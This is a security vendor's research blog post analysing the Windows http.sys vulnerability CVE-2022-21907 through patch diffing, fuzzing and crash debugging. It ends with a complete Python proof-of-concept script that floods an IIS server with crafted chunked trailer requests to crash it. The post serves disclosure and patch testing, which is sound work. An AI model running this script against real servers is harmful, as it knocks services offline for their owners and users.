Skip to main content
Core Security Logo Core Security Logo
  • Contact Us
  • Support
  • All Fortra Products
  • FREE TRIALS
  • Contact Us
  • Support
  • All Fortra Products
  • FREE TRIALS
  • Cyber Threat

      Products

      • Core Impact Penetration testing software
      • Cobalt Strike Red team software
      • Event Manager Security information and event management
      • Network Insight Network Traffic Analysis
      • Powertech Antivirus Server-level virus protection
      • Security Auditor Security Policy Management and File Integrity Monitoring Software

      Solutions

      • Penetration Testing
      • Penetration Testing Services
      • Threat Detection
      • Security Information and Event Management
    • Penetration Testing Services Security consulting services
  • Identity

      Products

      • Access Assurance Suite User provisioning and governance
      • Core Password & Secure Reset Self-service password management
      • Core Privileged Access Manager (BoKS) Privileged access management (PAM)

      Solutions

      • Privileged Access Management
      • Identity Governance & Administration
      • Password Management
    • See How to Simplify Access in Your Organization | Request a Demo
  • Industries
    • Healthcare
    • Financial Services
    • Federal Government
    • Retail
    • Utilities & Energy
    • Higher Education
    • Compliance
  • Resources
    • Upcoming Webinars & Events
    • Blogs
    • Case Studies
    • Videos
    • Datasheets
    • Guides
    • Ecourses
    • Compliance
    • All Resources
  • CoreLabs
    • Advisories
    • Exploits
    • Publications
    • Articles
    • Open Source Tools
  • About
    • Partners
    • Careers
    • Press Releases
    • Contact Us

Proof of Concept: CVE-2022-21907 HTTP Protocol Stack Remote Code Execution Vulnerability

In this blogpost, we’ll briefly describe how we developed a DoS module for CVE-2022-21907. Instead of viewing it in a result-oriented way, we’ll approach it from a research standpoint, describing the process of developing this module for Core Impact.

On Jan 11th 2022 Microsoft released a Security Update for a RCE vulnerability (CVE-2022-21907) in http.sys. According to Microsoft, this vulnerability affects the following Windows Versions:

  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 21H1 for 32-bit Systems
  • Windows 10 Version 21H1 for x64-based System
  • Windows 10 Version 21H1 for ARM64-based Systems
  • Windows 10 Version 20H2 for 32-bit Systems
  • Windows 10 Version 20H2 for x64-based Systems
  • Windows 10 Version 20H2 for ARM64-based Systems
  • Windows 10 Version 21H2 for 32-bit Systems
  • Windows 10 Version 21H2 for x64-based Systems
  • Windows 10 Version 21H2 for ARM64-based Systems
  • Windows 11 for x64-based Systems
  • Windows 11 for ARM64-based Systems
  • Windows Server 2019
  • Windows Server 2022

This is a long list! What’s more, they say that its exploitation is likely, as “an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.”

All the software that uses the non-patched http.sys to handle HTTP protocol is vulnerable. An example of software that uses the driver http.sys as its backend is Internet Information Services (IIS). This means that if the Windows where the IIS server is running was not patched, the target is vulnerable.

Because we like numbers and graphs, let’s do a quick Shodan query:

Image
Shodan

The results show many possible targets!

Given its impact, we decided to spend some time analyzing this vulnerability.

The Vulnerability

The first thing to do was to understand the nature of the vulnerability and collect all the public information about this CVE.

From the Microsoft website, we can infer that this vulnerability is related to HTTP Trailers:

Image

After finding that this vulnerability is related to HTTP Trailers and before doing a diff between the vulnerable http.sys and the patched one, we started to read all the things related to trailers from the HTTP RFC. While doing this, a few Proof of Concepts (PoCs) for this CVE appeared on Twitter and Github.

All of these PoCs were doing the same thing in order to crash the vulnerable machine:

Image
PoCs

As can be seen above, it only requires a simple GET request with a special Accept-Encoding.

This was a bit weird. Not only was it incredibly similar to CVE-2021-31166, they were also not using trailers.

Anyway, we then decided to try one of the PoCs. A Windows 10 20H2 was installed without patches and then the IIS server was configured. After that, I used one of the PoCs and the target crashed.

Image

Weird…but awesome!

Analysis of the the crash with Windbg showed it was identical to CVE-2021-31166.

It just didn’t make sense.

Image
Kernel security check failure

We decided to patch the whole system to one month before January 11th 2022(KB5008212) and try the exploit again.

And guess what? It didn’t work. Now everything made sense. It didn’t have anything related to Trailers because it wasn’t similar to CVE-2021-31166, it WAS CVE-2021-31166.

After all of these things, we started to wonder why there multiple PoCs with a large number of stars and forks that people kept retweeting. Moreover, even the MITRE website referenced this PoC.

Honestly, for a moment, we thought we were missing something. It turns out, we were right—it was CVE-2021-31166. So we continued with the following step, which is the diffing between the vulnerable http.sys and the patched http.sys.

Diffing

We took a snapshot, moved the vulnerable http.sys to another machine, and then patched the machine. After that, we moved the patched http.sys as well and reverted the snapshot.

The vulnerable http.sys version was 10.0.19041.1387 and the patched one was 10.0.19041.1466. As was mentioned earlier, we installed all the patches to one month before (December 2021) the patch of the vulnerability. This is a normal practice, since doing a diff between close versions avoids a lot of code not related to the vulnerability.

After doing the diff between these two versions, we got the following result:

Image

As we can see, the two functions that were most changed were “UlpAllocateFastTracker” and “UlFastSendHttpResponse”. Paying attention to the names of both functions, we made a few observations. With “UlpAllocateFastTracker,” a custom allocator changed, which seemed promising. The differences from the patched “UlpAllocateFastTracker” and the vulnerable one were interesting. The patched one added two memsets in order to initialize with zero. Maybe this was an uninitialized chunk problem?

Image

 

Image

Therefore, these two memsets hinted that a problem with an uninitialized chunk allocated with this function might be present in the vulnerable version. Perhaps it was used as part of the CVE or maybe they realized it when they were patching the vulnerability. We could only try to guess.

Before moving to the other function, “UlFastSendHttpResponse,” we thought that it was better to search if both functions are related. That is, does UlFastSendHttpResponse call UlpAllocateFastTracker? The results were as follows:

Vulnerable Version

Image

Patched Version

Image
UIFastSendHTTPResponse_283

This was interesting too! They were related and there was one additional call to UlpAllocateFastTracker in the patched version.

This was a good sign. We decided to analyze UlFastSendHttpResponse. We won’t get into the details here because it’s really large, around 3k lines. In addition, we didn’t reverse it completely because we decided to switch to a dynamic approach after initial analysis showed it would take a significant amount of time to understand the whole process. Instead, we tried a dynamic approach first. To provide a high level explanation, when you do a request to the server, it uses this function to send you the response.

Trying to create a PoC

This was easy to test, we put a hardware breakpoint in the beginning of UlFastSendHttpResponse and did a basic request.

Image

Perfect!

From this point, the first goal was trying to reach a call to UlpAllocateFastTracker. We did many requests in order to check if any of these requests allowed us to reach it. After doing these for a while, we figured out that UlpAllocateFastTracker was sometimes being called. We put a breakpoint after the call and analyzed the things that FastTracker had. Inside this chunk were many pointers and one of them had the response. Thanks to the reversing of UlpAllocateFastTracker that was done earlier, we knew that some of these pointers were pointers to MDLs.

After this, we decided to do code coverage of the driver.

Image

The code reached was almost always the same.

Then we decided to use the information that Microsoft provided. They told us that it is related to Trailers. We continued reading about Trailers in the HTTP RFC and started experimenting with Trailer requests.

A trailer request looks like this:

GET / HTTP/1.1
Host: host
TE: trailers
Transfer-Encoding: chunked

7\r\n
polakow\r\n
0\r\n
Trailer
\r\n

With that knowledge, we added that to my fuzzer and ran it again. The code flow changed and we were hitting UlpAllocateFastTracker but nothing weird was happening. We did a lot of debugging and still nothing. We were completely lost. It was time to spend time reversing the functions involved and get more knowledge.

While doing that, on January 26th, something new about this vulnerability was published by CoreLight:

Apparently, they had access to an RCE exploit or maybe just access to information about the exploit. It proved quite helpful, explaining two key pieces of information:

1. “The exploit works by spraying an IIS server via several large GET HTTP requests and finishes with a malformed HTTP request.”

2. “The malformed HTTP request in this exploit is missing the ‘HTTP/1.1’.”

Point number one means that for Trailers requests, we can send large GET HTTP requests. We can just change our values to big numbers and payloads. We were using low numbers before, so we expected this to make a big difference!

For instance:

GET / HTTP/1.1
Host: host
TE: trailers
Transfer-Encoding: chunked

[Big number]\r\n
[data]\r\n
0\r\n
Trailer
\r\n

Great!

Point two was the true magic.  We did not use any malformed http requests. Moreover, it tells us about the error ‘Missing HTTP/1.1’. This was a BIG HINT.

So, it was time to change our fuzzer logic and try again!

After fuzzing for a while, we got a crash:

Image

 

Image

Awesome!

The crash

After analyzing the crash, we confirmed that the problem was the lack of initialization, which is what we hypothesized after doing the diff.

Let’s go into what was going on with the crash.

Here’s some of the stack trace:

Image

It seemed that the problem started inside MmUnmapLockedPages.

Let’s look at HTTP!UlFastSendHttpResponse+0x2e872 in order to understand the context:

Image
MmUnmapLockedPages

We could infer that v17 is the FastTracker chunk allocated with UlpAllocateFastTracker because of UlpFreeFastTracker. So, our PoC entered to that if(v17[5].Next) and then called MmUnmapLockedPages.

We changed the code a bit to have better semantics:

Image
MmUnmapLockedPages

This is better.

So FastTracker + 0x50 must be different to 0 in order to enter the block where MmUnmapLockedPages resides. However, there is another piece before that. What’s that v119?

Well, we could see that it was something inside FastTracker (FastTracker + 0x80) and that IDA parsed it as PMDL in MmUnmapLockedPages. It seemed to be a pointer to an MDL (Memory Descriptor List).

Microsoft provides a good explanation of MmUnmapLockedPages:

Image
MmUnmapLockedPages

Excellent!

We then modified our pseudo-code again:

Image

Awesome!

Just changing the data type IDA identified that it was doing mdl->MdlFlags & 1.

Consequently, we had two conditions to reach MmUnmapLockedPages:

  1. FastTracker + 0x50 != 0
  2. MDL->MdlFlags & 1 != 0

With MDL = FastTracker + 0x80 and FastTracker the result of UlpAllocateFastTracker

Our PoC reached MmUnmapLockedPages, so we then checked the values:

Image

We found that we were controlling MDL->MappedSystemVa! (0x4141414141414141)

Image
rdx

Obviously, this would generate bad behavior. Additionally, we could see the pointer of the MDL (rdx).

Next, we parsed it:

Image

Well, this was bad.

We’ll stop here with our crash analysis. If you continued analyzing it, you would find that it was a problem with an initialization of an MDL. The key is inside UlInitializeFastTrackerPool.

PoC

After figuring out what was happening, we developed the module for Core Impact.

Because we released it a long time ago and because the patch is from January, we will release a python script for testing your systems. Then, if you want to check if your systems are vulnerable, the PoC is available below and on github.
 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems.

from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def banner():
    print(f"""\n\n{Fore.GREEN}   ******  **      ** ********        ****   ****   ****   ****         ****   **   ****   ****  ******
  **////**/**     /**/**/////        */// * *///** */// * */// *       */// * ***  */// * *///**//////*
 **    // /**     /**/**            /    /*/*  */*/    /*/    /*      /    /*//** /*   /*/*  */*     /*
/**       //**    ** /*******  *****   *** /* * /*   ***    ***  *****   ***  /** / **** /* * /*     * 
/**        //**  **  /**////  /////   *//  /**  /*  *//    *//  /////   *//   /**  ///*  /**  /*    *  
//**    **  //****   /**             *     /*   /* *      *            *      /**    *   /*   /*   *   
 //******    //**    /********      /******/ **** /******/******      /****** ****  *    / ****   *    
  //////      //     ////////       //////  ////  ////// //////       ////// ////  /      ////   /     """)
    print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
    print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
    print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907{Style.RESET_ALL}\n")


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance: 192.168.1.110")
    parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For instance: 80")
    parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
    return parser.parse_args()


def isServiceRunning(ip, port, ipVersion):

    if port == 443:
        targetURL = "https://"
    else:
        targetURL = "http://"

    if ipVersion == 6:
        targetURL = targetURL + '[' + ip + ']'
    else:
        targetURL = targetURL + ip

    try:
        requests.get(targetURL, timeout=4, verify=False)
    except Exception as e:
        return False

    return True

def checkServerStatus(ip, port, ipVersion):
    if isServiceRunning(ip, port, ipVersion):
        print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
    else:
        print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')


def exploit(ip, port, ipVersion):

    print("[*] Attacking: %s on port %d" % (ip, port))

    # Evil request

    data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"

    if ipVersion == 6:
        payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
    else:
        payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"

    # Attack!

    for i in range(0, 100000):
        try:
            # IPv6
            if ipVersion == 6:
                s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.settimeout(5)

            # Attack HTTPS or HTTP

            if port == 443:
                context = ssl._create_unverified_context()
                so = context.wrap_socket(s, server_hostname=ip)

                so.connect((ip, port))
                so.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                so.sendall(payload2.encode('ascii'))
            else:
                s.connect((ip, port))
                s.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                s.sendall(payload2.encode('ascii'))
        except socket.timeout:
            print("[*] Timeout! Checking server status...")
            checkServerStatus(ip, port, ipVersion)
            break
        except Exception as e:
            print(e)
            break


if __name__ == '__main__':
    init(convert=True)

    # Banner

    banner()

    # Args
    args = parseArgs()

    port = args.port
    ipVersion = args.ipversion

    # Check digits

    if not port.isdigit() and not ipVersion.isdigit():
        print("The port must be a number!")
        exit(1)

    # Remove protocol

    if args.target.startswith('https://'):
        ip = args.target.replace("https://", "")
    elif args.target.startswith('http://'):
        ip = args.target.replace("http://", "")
    else:
        ip = args.target

    # Remove backslash

    if ip.endswith("/"):
        ip = ip.replace("/", "")

    # Remove ipv6 http/https

    if ip.endswith("]") and ip.startswith("["):
        ip = ip.replace("[", "").replace("]", "")

    # Check ip version

    if not int(ipVersion) == 6 and not int(ipVersion) == 4:
        print("The IP version is invalid.")
        exit(1)

    # Check server status

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    checkServerStatus(ip, int(port), int(ipVersion))

    # Exploit!

    exploit(ip, int(port), int(ipVersion))
Image
RCE/LPE

RCE/LPE

Regarding RCE, it is possible, hard and unstable, but possible. We are still researching a way to do something reliable. In addition to that, it is necessary to mix this vuln with an infoleak.

Another idea that’s easier than a RCE is to try g to create a LPE. We can leak the offsets of our chunks using known techniques and manage the pool better.

Meet the Author

Lucas Dominikow

Exploit Writer
Core Security, by Fortra
View Profile
Related Content
Article
Analysis of CVE-2022-21882 "Win32k Window Object Type Confusion Exploit"
Article
How to Deal with Microsoft Monthly Updates to Reverse Engineer Binary Patches
Pen tester in hoodie
Blog
Core Impact Issues Latest Exploit for PrintNightmare Flaw
Article
Analysis of CVE-2021-26897 DNS Server RCE
  • Email Core Security Email Us
  • Twitter Find us on Twitter
  • LinkedIn Find us on LinkedIn
  • Facebook Find us on Facebook

Products

  • Access Assurance Suite
  • Core Impact
  • Cobalt Strike
  • Event Manager
  • Browse All Products

Solutions

  • Identity Governance

  • PAM
  • IGA
  • IAM
  • Password Management
  • Vulnerability Management
  • Compliance
  • Cyber Threat

  • Penetration Testing
  • Red Team
  • Phishing
  • Threat Detection
  • SIEM

Resources

  • Upcoming Webinars & Events
  • Corelabs Research
  • Blog
  • Training

About

  • Our Company
  • Partners
  • Careers
  • Accessibility

Support

Privacy Policy

Contact

Impressum

Copyright © Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective owners.